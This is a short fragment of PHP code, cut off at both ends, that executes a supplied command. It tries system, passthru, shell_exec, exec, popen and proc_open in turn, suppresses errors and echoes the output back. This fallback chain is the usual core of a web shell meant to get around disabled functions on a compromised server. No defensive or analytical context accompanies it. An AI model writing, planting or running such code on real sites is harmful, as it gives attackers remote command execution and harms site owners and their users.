";
    if (function_exists('system')) {
        @system($cmd);
    } elseif (function_exists('passthru')) {
        @passthru($cmd);
    } elseif (function_exists('shell_exec')) {
        echo @shell_exec($cmd);
    } elseif (function_exists('exec')) {
        @exec($cmd, $output);
        echo implode("\n", $output);
    } elseif (function_exists('popen')) {
        $handle = @popen($cmd, 'r');
        if ($handle) {
            while (!feof($handle)) {
                echo fread($handle, 4096);
            }
            pclose($handle);
        }
    } elseif (function_exists('proc_open')) {
        $descriptors = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w")
        );
        $process = @proc_open($cmd, $descriptors, $pipes);
        if (is_resource($process)) {
            fclose($pipes[0]);
            echo stream_get_contents($pipes[1]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
        }
    }
    echo "